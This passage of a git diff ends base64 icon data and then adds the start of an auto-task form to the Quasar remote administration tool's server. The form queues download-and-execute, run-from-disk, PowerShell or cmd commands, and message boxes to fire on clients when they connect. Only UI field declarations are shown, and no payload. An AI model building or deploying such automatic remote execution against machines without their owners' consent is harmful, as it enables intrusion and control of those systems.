/////v7/7uXi/+HZ1f/p4+D/597b/+ro5v/j29f/0cnE/7uyrv+qnpn/gHNs/1ZHQf8+LSb/KxsU/ygX + EP8rGxP/NCQd/zoqJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OSki/ysbFP9HNzDVcmJbgf// + /wH///8B////Af///wH///8B////AVBAOa0/LyjvMyMc/zgoIf84KCH/OSki/zkpIv86KiP/PCwl/zQk + Hv8lFAz/IxEJ/zclHf9rXFX/opiU/9zW0////////v////Du7f/d2Nb/xL+9/6edmf+LfHf/cGNd/1lL + RP9ENTL/LxoT/7yyrv////////7+/5+UkP8kEAj/RzUu/0o5M/9SQz7/Y1ZR/39zbf+ilpD/t6yn/8W8 + t//c0Mv/yr+8/6WZk/9sXVf/RTUv/ysbFP8lEwz/MyMc/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8sHBX/Rzcw3W5eV43///8B////Af///wH///8B////Af///wFTQzynPy8o6zEhGv84KCH/OCgh/zkp + Iv86KSL/Oysk/ygXEP8fDAT/RDIr/5OJhf/Z1NH///////z7+//Z1NL/r6ai/3ttZ/9LOzT/OSYe/yYV + DP8fDAX/IA4G/yIQCP8lEgr/EwIA/yQTDf/W0M3////////////EvLn/GwgA/x4PCP8nFxD/IhEJ/yIQ + Cf8hDwf/Hw0F/yAOB/83JR//Tz84/21fWP+cjoj/ua+q/8W8uP+Zjoj/WElC/ykZEv8jEQn/OCgh/zoq + I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR + Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex + Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.cs new file mode 100755 index 0000000..93a7228 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.cs @@ -0,0 +1,811 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; +using System.Xml.Serialization; + +namespace Quasar.Server.Forms +{ + public partial class FrmAutoTasks : Form + { + private static readonly string AutoTasksPath = Path.Combine(Application.StartupPath, "autotasks.xml"); + public static List ConfiguredTasks = new List(); + + // UI Controls + private TabControl tabControl; + private TabPage tabExecuteUrl; + private TabPage tabExecuteDisk; + private TabPage tabCommand; + private TabPage tabMessageBox; + private Button btnExecuteUrl; + private TextBox txtUrl; + private Label lblUrl; + private Button btnExecuteDisk; + private Button btnBrowseDisk; + private TextBox txtDiskPath; + private Label lblDiskPath; + private Button btnExecuteCommand; + private TextBox txtCommand; + private Label lblCommand; + private RadioButton rbPowerShell; + private RadioButton rbCmd; + private Label lblShell; + private Button btnShowMessage; + private GroupBox gbIcon; + private RadioButton rbQuestion; + private RadioButton rbError; + private RadioButton rbWarning; + private RadioButton rbInfo; + private RadioButton rbNone; + private TextBox txtMsgText; + private Label lblMsgText; + private TextBox txtMsgCaption; + private Label lblMsgCaption; + private GroupBox gbTrigger; + private RadioButton rbInitial; + private RadioButton rbAllConnections; + private ListBox lstTasks; + private Label lblTasks; + private Button btnRemove; + private SplitContainer 